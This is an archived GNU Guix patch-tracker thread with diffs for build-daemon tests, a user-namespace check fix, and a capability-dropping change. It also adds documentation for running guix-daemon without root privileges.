@@ -462,9 +462,11 @@ (define* (directory-contents dir #:optional (slurp get-bytevector-all))
          (hash       (gcrypt:sha256 (string->utf8 "hello")))
          (drv1       (derivation %store "fixed"
                                  %bash `(,builder1)
+                                 #:sources (list %bash builder1)
                                  #:hash hash #:hash-algo 'sha256))
          (drv2       (derivation %store "fixed"
                                  %bash `(,builder2)
+                                 #:sources (list %bash builder2)
                                  #:hash hash #:hash-algo 'sha256))
          (succeeded? (build-derivations %store (list drv1 drv2))))
     (and succeeded?
@@ -477,7 +479,7 @@ (define* (directory-contents dir #:optional (slurp get-bytevector-all))
          (hash       (gcrypt:sha256 (string->utf8 "hello")))
          (drv        (derivation %store "fixed-rec"
                                  %bash `(,builder)
-                                 #:sources (list builder)
+                                 #:sources (list %bash builder)
                                  #:hash (base32 "0sg9f58l1jj88w6pdrfdpj5x9b1zrwszk84j81zvby36q9whhhqa")
                                  #:hash-algo 'sha256
                                  #:recursive? #t))
@@ -511,9 +513,11 @@ (define* (directory-contents dir #:optional (slurp get-bytevector-all))
          (hash       (gcrypt:sha256 (string->utf8 "hello")))
          (fixed1     (derivation %store "fixed"
                                  %bash `(,builder1)
+                                 #:sources (list %bash builder1)
                                  #:hash hash #:hash-algo 'sha256))
          (fixed2     (derivation %store "fixed"
                                  %bash `(,builder2)
+                                 #:sources (list %bash builder2)
                                  #:hash hash #:hash-algo 'sha256))
          (fixed-out  (derivation->output-path fixed1))
          (builder3   (add-text-to-store
@@ -548,9 +552,11 @@ (define* (directory-contents dir #:optional (slurp get-bytevector-all))
          (hash       (gcrypt:sha256 (string->utf8 "hello")))
          (fixed1     (derivation %store "fixed"
                                  %bash `(,builder1)
+                                 #:sources (list %bash builder1)
                                  #:hash hash #:hash-algo 'sha256))
          (fixed2     (derivation %store "fixed"
                                  %bash `(,builder2)
+                                 #:sources (list %bash builder2)
                                  #:hash hash #:hash-algo 'sha256))
          (builder3   (add-text-to-store %store "builder.sh"
                                         "echo fake builder"))
@@ -580,21 +586,21 @@ (define* (directory-contents dir #:optional (slurp get-bytevector-all))
                                       '()))
          (hash     (gcrypt:sha256 (string->utf8 "hello")))
          (drv1     (derivation %store "fixed" %bash (list builder1)
-                               #:sources (list builder1)
+                               #:sources (list %bash builder1)
                                #:hash hash #:hash-algo 'sha256))
          (drv2     (derivation %store "fixed" %bash (list builder2)
-                               #:sources (list builder2)
+                               #:sources (list %bash builder2)
                                #:hash hash #:hash-algo 'sha256))
          (drv3a    (derivation %store "fixed-user" %bash (list builder3)
                                #:outputs '("one" "two")
-                               #:sources (list builder3)
+                               #:sources (list %bash builder3)
                                #:inputs (list (derivation-input drv1))))
          (drv3b    (derivation %store "fixed-user" %bash (list builder3)
                                #:outputs '("one" "two")
-                               #:sources (list builder3)
+                               #:sources (list %bash builder3)
                                #:inputs (list (derivation-input drv2))))
          (drv4     (derivation %store "fixed-user-user" %bash (list builder1)
-                               #:sources (list builder1)
+                               #:sources (list %bash builder1)
                                #:inputs (list (derivation-input drv3a '("one"))
                                               (derivation-input drv3b '("two"))))))
     (match (derivation-inputs drv4)
@@ -878,7 +884,7 @@ (define %coreutils
                                     ,(string-append
                                       (derivation->output-path %coreutils)
                                       "/bin")))
-                      #:sources (list builder)
+                      #:sources (list %bash builder)
                       #:inputs (list (derivation-input %coreutils))))
          (succeeded?
           (build-derivations %store (list drv))))
diff --git a/tests/packages.scm b/tests/packages.scm
index 50c1cab915..f56c63128d 100644
--- a/tests/packages.scm
+++ b/tests/packages.scm
@@ -80,6 +80,11 @@ (define %store
 ;; When grafting, do not add dependency on 'glibc-utf8-locales'.
 (%graft-with-utf8-locale? #f)
 
+(define (bootstrap-binary name)
+  (let ((bin (search-bootstrap-binary name (%current-system))))
+    (and %store
+         (add-to-store %store name #t "sha256" bin))))
+
 
 (test-begin "packages")
 
@@ -609,14 +614,14 @@ (define %store
 
 (test-equal "package-source-derivation, origin, sha512"
   "hello"
-  (let* ((bash    (search-bootstrap-binary "bash" (%current-system)))
+  (let* ((bash    (bootstrap-binary "bash"))
          (builder (add-text-to-store %store "my-fixed-builder.sh"
                                      "echo -n hello > $out" '()))
          (method  (lambda* (url hash-algo hash #:optional name
                                 #:rest rest)
                     (and (eq? hash-algo 'sha512)
                          (raw-derivation name bash (list builder)
-                                         #:sources (list builder)
+                                         #:sources (list bash builder)
                                          #:hash hash
                                          #:hash-algo hash-algo))))
          (source  (origin
@@ -635,14 +640,14 @@ (define %store
 
 (test-equal "package-source-derivation, origin, sha3-512"
   "hello, sha3"
-  (let* ((bash    (search-bootstrap-binary "bash" (%current-system)))
+  (let* ((bash    (bootstrap-binary "bash"))
          (builder (add-text-to-store %store "my-fixed-builder.sh"
                                      "echo -n hello, sha3 > $out" '()))
          (method  (lambda* (url hash-algo hash #:optional name
                                 #:rest rest)
                     (and (eq? hash-algo 'sha3-512)
                          (raw-derivation name bash (list builder)
-                                         #:sources (list builder)
+                                         #:sources (list bash builder)
                                          #:hash hash
                                          #:hash-algo hash-algo))))
          (source  (origin
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 17 Mar 2025 17:05:07 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Mon Mar 17 13:05:07 2025
Received: from localhost ([127.0.0.1]:60683 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tuDth-0002nH-RC
	for submit <at> debbugs.gnu.org; Mon, 17 Mar 2025 13:05:07 -0400
Received: from eggs.gnu.org ([2001:470:142:3::10]:58482)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tuDtY-0002je-2K
 for 75810 <at> debbugs.gnu.org; Mon, 17 Mar 2025 13:04:56 -0400
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tuDtQ-0005QN-Fc; Mon, 17 Mar 2025 13:04:48 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=VxUd1aOcvzD/pYxOxBWjge8/c0+rM0LNoWab4Huyg4s=; b=UEQuv85I/vuSWiKvC4CI
 IcavIKQ9UskkSrQ9Idf/AxP3Q/KA4LQemcLzCU+0wHtmBpYuJNWUqzyEIacy+aS8UHcFdR4lBXn6V
 LZcc/qKPkZe+N989CGm+9UVnKSMIdcY4nmKXnGlsGeu7nTZc61M8ELnrFN0pdSoKeYVIZrk2kILwR
 QNSKXfUSL+zLV8GcSqU0r4pQSXSE3hX2FuFytkbTF1kdogL+MTgl62iRTcfVgz6Hymt1cHcAlAupc
 FStmyNroCFhadgH9olY4ut4AmOAXeJm/Dk6mzlRyJVklnh3A3JR8NHEwoEumzZ6ZjVK8jhtUr5LGa
 z+tOhRfJnUZWRw==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v6 11/16] =?UTF-8?q?linux-container:=20=E2=80=98unprivileg?=
 =?UTF-8?q?ed-user-namespace-supported=3F=E2=80=99=20returns=20#f=20on=20n?=
 =?UTF-8?q?on-Linux.?=
Date: Mon, 17 Mar 2025 18:02:54 +0100
Message-ID: <a2bea8f1119e7273e953337780d481d76017f209.1742230219.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1742230219.git.ludo@HIDDEN>
References: <cover.1742230219.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -0.8 (/)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>,
 Reepca Russelstein <reepca@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -1.8 (-)

Previously this procedure would return #t on non-Linux systems.

* gnu/build/linux-container.scm (unprivileged-user-namespace-supported?):
When USERNS-FILE doesn’t exist, return (user-namespace-supported?).

Reported-by: Reepca Russelstein <reepca@HIDDEN>
Change-Id: I92050338b8b68bc3bd87100317eba69fcdf14a0a
---
 gnu/build/linux-container.scm | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/gnu/build/linux-container.scm b/gnu/build/linux-container.scm
index 5c303da8c8..a5c5d8962e 100644
--- a/gnu/build/linux-container.scm
+++ b/gnu/build/linux-container.scm
@@ -1,6 +1,6 @@
 ;;; GNU Guix --- Functional package management for GNU
 ;;; Copyright © 2015 David Thompson <davet@HIDDEN>
-;;; Copyright © 2017-2019, 2022, 2023 Ludovic Courtès <ludo@HIDDEN>
+;;; Copyright © 2017-2019, 2022-2023, 2025 Ludovic Courtès <ludo@HIDDEN>
 ;;;
 ;;; This file is part of GNU Guix.
 ;;;
@@ -44,7 +44,7 @@ (define (unprivileged-user-namespace-supported?)
   (let ((userns-file "/proc/sys/kernel/unprivileged_userns_clone"))
     (if (file-exists? userns-file)
         (eqv? #\1 (call-with-input-file userns-file read-char))
-        #t)))
+        (user-namespace-supported?))))
 
 (define (setgroups-supported?)
   "Return #t if the setgroups proc file, introduced in Linux-libre 3.19,
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 17 Mar 2025 17:05:05 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Mon Mar 17 13:05:05 2025
Received: from localhost ([127.0.0.1]:60681 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tuDtg-0002mi-SU
	for submit <at> debbugs.gnu.org; Mon, 17 Mar 2025 13:05:05 -0400
Received: from eggs.gnu.org ([2001:470:142:3::10]:36070)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tuDtR-0002ib-Lu
 for 75810 <at> debbugs.gnu.org; Mon, 17 Mar 2025 13:04:50 -0400
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tuDtL-0005O6-8m; Mon, 17 Mar 2025 13:04:43 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=UutMX9pAeYaOKM9If5j0ljEqrH6oIEE2IroKoS0wm4Q=; b=IwYZ/Lce+2YicytLDwe8
 sd+3dHW1Y7b6me3vQxN2qyjUZfuV19HVYpUDCjX0CITTe+0IaMUhaEuulPxSTeKjc+oQVpc8nSTOm
 U4Q0LRaZwtl66Jw2PqzGxbNZWPLYBenMiheNrm7ZdAllXri90OIzNu07DmrcVyXBzr6yXws5iNar2
 NI+tuTYy7wLbKID3y/U2v2T9FazNMUy/a+57pYO7rKxkD+7eYGGgWpozKQUmb1kXdN3BBF2zAEKTY
 mNJzj94esVKNZUcjYVJ9AhPN/5h6ZDIFg3mjgw4rUdgV10UspsfZUiPrmQ1tLFeiy07NrQsQtVWJk
 LJDAmI0IB59xNg==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v6 10/16] daemon: Move comments where they belong.
Date: Mon, 17 Mar 2025 18:02:53 +0100
Message-ID: <a6a2fca34e1785e77c7d5c752d7711e275f0fb4f.1742230219.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1742230219.git.ludo@HIDDEN>
References: <cover.1742230219.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

* nix/libstore/build.cc (DerivationGoal::startBuilder): Shuffle
comments for clarity.

Change-Id: I6557c103ade4a3ab046354548ea193c68f8c9c05
---
 nix/libstore/build.cc | 13 +++++++------
 1 file changed, 7 insertions(+), 6 deletions(-)

diff --git a/nix/libstore/build.cc b/nix/libstore/build.cc
index 51ac11e235..54d2996dd1 100644
--- a/nix/libstore/build.cc
+++ b/nix/libstore/build.cc
@@ -1870,18 +1870,19 @@ void DerivationGoal::startBuilder()
         }
         dirsInChroot[tmpDirInSandbox] = tmpDir;
 
-        /* Make the closure of the inputs available in the chroot,
-           rather than the whole store.  This prevents any access
-           to undeclared dependencies.  !!! As an extra security
-           precaution, make the fake store only writable by the
-           build user. */
+	/* Create the fake store.  */
         Path chrootStoreDir = chrootRootDir + settings.nixStore;
         createDirs(chrootStoreDir);
         chmod_(chrootStoreDir, 01775);
 
         if (buildUser.enabled() && chown(chrootStoreDir.c_str(), 0, buildUser.getGID()) == -1)
-            throw SysError(format("cannot change ownership of ‘%1%’") % chrootStoreDir);
+	     /* As an extra security precaution, make the fake store only
+		writable by the build user.  */
+	     throw SysError(format("cannot change ownership of ‘%1%’") % chrootStoreDir);
 
+        /* Make the closure of the inputs available in the chroot, rather than
+           the whole store.  This prevents any access to undeclared
+           dependencies. */
         foreach (PathSet::iterator, i, inputPaths) {
 	    struct stat st;
             if (lstat(i->c_str(), &st))
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 17 Mar 2025 17:05:05 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Mon Mar 17 13:05:04 2025
Received: from localhost ([127.0.0.1]:60677 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tuDtf-0002mQ-R8
	for submit <at> debbugs.gnu.org; Mon, 17 Mar 2025 13:05:04 -0400
Received: from eggs.gnu.org ([2001:470:142:3::10]:36064)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tuDtQ-0002iQ-RC
 for 75810 <at> debbugs.gnu.org; Mon, 17 Mar 2025 13:04:49 -0400
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tuDtJ-0005NP-PS; Mon, 17 Mar 2025 13:04:41 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=ZFzrFk7nTXhAfaat5FBy/2gARokuQM84I/u4c9YnLJQ=; b=kHFB1Kn5vBHcBokpzK+I
 /aDH3ixUyNQG4YTRjOkw+KOMU9SKQHNw7PlAIcOOUDD80bBziV78JgJN8YrAT8+/Bp7h7eYbw4lL2
 FLpUCue/6xXycBJQzf0LRBFJmTr+Hnf5xBTGfC8oEER+Vc4G8lCmlLuouGErCaG7HaMBhjCtT0YyJ
 Qa/cAqLcYOgvMa8PaudBLt0IpGO72+divoNw7McqbnQD5sFYORUQcDDIWG4a4Jga67G3izToJ1NWB
 xxjicemMBw7hBaQpy6n81Zq0kadqUiP8o8SSGTgMwbGxLG8qUAAA1d5kTVUgPnjyNtm5NqgKwUaT8
 T7Cu/tiNP9v/Iw==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v6 09/16] daemon: Drop Linux ambient capabilities before
 executing builder.
Date: Mon, 17 Mar 2025 18:02:52 +0100
Message-ID: <bdc48d5ced58ff7177c11f1fcd65985a7fc14ba9.1742230219.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1742230219.git.ludo@HIDDEN>
References: <cover.1742230219.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

* config-daemon.ac: Check for <sys/prctl.h>.
* nix/libstore/build.cc (DerivationGoal::runChild): When ‘useChroot’ is
true, call ‘prctl’ to drop all ambient capabilities.

Change-Id: If34637fc508e5fb6d278167f5df7802fc595284f
---
 config-daemon.ac      | 2 +-
 nix/libstore/build.cc | 9 +++++++++
 2 files changed, 10 insertions(+), 1 deletion(-)

diff --git a/config-daemon.ac b/config-daemon.ac
index 4e949bc88a..35d9c8cd56 100644
--- a/config-daemon.ac
+++ b/config-daemon.ac
@@ -79,7 +79,7 @@ if test "x$guix_build_daemon" = "xyes"; then
   dnl Chroot support.
   AC_CHECK_FUNCS([chroot unshare])
   AC_CHECK_HEADERS([sched.h sys/param.h sys/mount.h sys/syscall.h \
-    linux/close_range.h])
+    linux/close_range.h sys/prctl.h])
 
   if test "x$ac_cv_func_chroot" != "xyes"; then
     AC_MSG_ERROR(['chroot' function missing, bailing out])
diff --git a/nix/libstore/build.cc b/nix/libstore/build.cc
index 9a8278cd08..51ac11e235 100644
--- a/nix/libstore/build.cc
+++ b/nix/libstore/build.cc
@@ -50,6 +50,9 @@
 #if HAVE_SCHED_H
 #include <sched.h>
 #endif
+#if HAVE_SYS_PRCTL_H
+#include <sys/prctl.h>
+#endif
 
 
 #define CHROOT_ENABLED HAVE_CHROOT && HAVE_SYS_MOUNT_H && defined(MS_BIND) && defined(MS_PRIVATE)
@@ -2074,6 +2077,12 @@ void DerivationGoal::runChild()
 
 #if CHROOT_ENABLED
         if (useChroot) {
+# if HAVE_SYS_PRCTL_H
+	    /* Drop ambient capabilities such as CAP_CHOWN that might have
+	       been granted when starting guix-daemon.  */
+	    prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_CLEAR_ALL, 0, 0, 0);
+# endif
+
 	    if (!fixedOutput) {
 		/* Initialise the loopback interface. */
 		AutoCloseFD fd(socket(PF_INET, SOCK_DGRAM, IPPROTO_IP));
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 17 Mar 2025 17:05:04 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Mon Mar 17 13:05:03 2025
Received: from localhost ([127.0.0.1]:60670 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tuDta-0002l8-TV
	for submit <at> debbugs.gnu.org; Mon, 17 Mar 2025 13:05:03 -0400
Received: from eggs.gnu.org ([2001:470:142:3::10]:56116)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tuDtM-0002hf-KG
 for 75810 <at> debbugs.gnu.org; Mon, 17 Mar 2025 13:04:48 -0400
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tuDtC-0005Lp-SN; Mon, 17 Mar 2025 13:04:34 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=lw8eToDQRScmZyoUY2V/zcziQfC7ZYPhSA4pL3j2gTI=; b=VppEuf++0Z0nDuLj8ONT
 eksnvv+z6S9njtyUy6Lfeztumsba5FR3d2+hpzIp/nCvtrizfXqS0o0VTWKvVwWIghaCBV683J3IG
 qxfqKji99pQpqR8sLHdwH5NXBuiVDuoXqTCiWKHRTcM5B8lUg9eHYcMpk0ZGyAubIG3OozvaNfCVS
 JaUlLvE9g6dzi+Sk8GrVb+trf3oUCUSQRnAT4/bj81RX2ihfDO4pAcTuWruDUI/G314aWotFNTpkC
 g6k/KILJgKdwmofU42qKudKAdJQr2hBR7fK0nrAJptPaUpxju8xRl8w8QGNF5kTrmH9p5rz6SQEi5
 QPHg/qBi1X3lyA==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v6 07/16] daemon: Allow running as non-root with unprivileged
 user namespaces.
Date: Mon, 17 Mar 2025 18:02:50 +0100
Message-ID: <33467d5ca0a53bff069542c7bb4314aad1c80a71.1742230219.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1742230219.git.ludo@HIDDEN>
References: <cover.1742230219.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Debbugs-Cc: Christopher Baines <guix@HIDDEN>, Josselin Poiret <dev@HIDDEN>, Ludovic Courtès <ludo@HIDDEN>, Mathieu Othacehe <othacehe@HIDDEN>, Maxim Cournoyer <maxim.cournoyer@HIDDEN>, Simon Tournier <zimon.toutoune@HIDDEN>, Tobias Geerinckx-Rice <me@HIDDEN>
Content-Transfer-Encoding: 8bit
X-Spam-Score: -0.8 (/)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludovic.courtes@HIDDEN>,
 Reepca Russelstein <reepca@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -1.8 (-)

From: Ludovic Courtès <ludovic.courtes@HIDDEN>

Many thanks to Reepca Russelstein for their review and guidance on these
changes.

* nix/libstore/build.cc (guestUID, guestGID): New variables.
(DerivationGoal)[readiness]: New field.
(initializeUserNamespace): New function.
(DerivationGoal::runChild): When ‘readiness.readSide’ is positive, read
from it.
(DerivationGoal::startBuilder): Call ‘chown’
only when ‘buildUser.enabled()’ is true.  Pass CLONE_NEWUSER to ‘clone’
when ‘buildUser.enabled()’ is false or not running as root.  Retry
‘clone’ without CLONE_NEWUSER upon EPERM.
(DerivationGoal::registerOutputs): Make ‘actualPath’ writable before
‘rename’.
(DerivationGoal::deleteTmpDir): Catch ‘SysError’ around ‘_chown’ call.
* nix/libstore/local-store.cc (LocalStore::createUser): Do nothing if
‘dirs’ already exists.  Warn instead of failing when failing to chown
‘dir’.
* guix/substitutes.scm (%narinfo-cache-directory): Check for
‘_NIX_OPTIONS’ rather than getuid() == 0 to determine the cache
location.
* doc/guix.texi (Build Environment Setup): Reorganize a bit.  Add
section headings “Daemon Running as Root” and “The Isolated Build
Environment”.  Add “Daemon Running Without Privileges” subsection.
Remove paragraph about ‘--disable-chroot’.
(Invoking guix-daemon): Warn against ‘--disable-chroot’ and explain why.

Reviewed-by: Reepca Russelstein <reepca@HIDDEN>
---
 doc/guix.texi               | 102 +++++++++++++++++------
 guix/substitutes.scm        |   2 +-
 nix/libstore/build.cc       | 160 +++++++++++++++++++++++++++++++-----
 nix/libstore/local-store.cc |  18 ++--
 4 files changed, 229 insertions(+), 53 deletions(-)

diff --git a/doc/guix.texi b/doc/guix.texi
index d109877a32..87943afec7 100644
--- a/doc/guix.texi
+++ b/doc/guix.texi
@@ -877,6 +877,7 @@ Setting Up the Daemon
 @section Setting Up the Daemon
 
 @cindex daemon
+@cindex build daemon
 During installation, the @dfn{build daemon} that must be running
 to use Guix has already been set up and you can run @command{guix}
 commands in your terminal program, @pxref{Getting Started}:
@@ -921,20 +922,38 @@ Build Environment Setup
 @cindex build environment
 In a standard multi-user setup, Guix and its daemon---the
 @command{guix-daemon} program---are installed by the system
-administrator; @file{/gnu/store} is owned by @code{root} and
-@command{guix-daemon} runs as @code{root}.  Unprivileged users may use
-Guix tools to build packages or otherwise access the store, and the
-daemon will do it on their behalf, ensuring that the store is kept in a
-consistent state, and allowing built packages to be shared among users.
+administrator.  Unprivileged users may use Guix tools to build packages
+or otherwise access the store, and the daemon will do it on their
+behalf, ensuring that the store is kept in a consistent state, and
+allowing built packages to be shared among users.
+
+There are currently two ways to set up and run the build daemon:
+
+@enumerate
+@item
+running @command{guix-daemon} as ``root'', letting it run build
+processes as unprivileged users taken from a pool of build users---this
+is the historical approach;
+
+@item
+running @command{guix-daemon} as a separate unprivileged user, relying
+on Linux's @dfn{unprivileged user namespace} functionality to set up
+isolated environments---this is the option chosen when installing Guix
+on a systemd-based distribution with the installation script
+(@pxref{Binary Installation}).
+@end enumerate
+
+The sections below describe each of these two configurations in more
+detail and summarize the kind of build isolation they provide.
+
+@unnumberedsubsubsec Daemon Running as Root
 
 @cindex build users
 When @command{guix-daemon} runs as @code{root}, you may not want package
 build processes themselves to run as @code{root} too, for obvious
 security reasons.  To avoid that, a special pool of @dfn{build users}
 should be created for use by build processes started by the daemon.
-These build users need not have a shell and a home directory: they will
-just be used when the daemon drops @code{root} privileges in build
-processes.  Having several such users allows the daemon to launch
+Having several such users allows the daemon to launch
 distinct build processes under separate UIDs, which guarantees that they
 do not interfere with each other---an essential feature since builds are
 regarded as pure functions (@pxref{Introduction}).
@@ -977,11 +996,45 @@ Build Environment Setup
 # guix-daemon --build-users-group=guixbuild
 @end example
 
+In this setup, @file{/gnu/store} is owned by @code{root}.
+
+@unnumberedsubsubsec Daemon Running Without Privileges
+
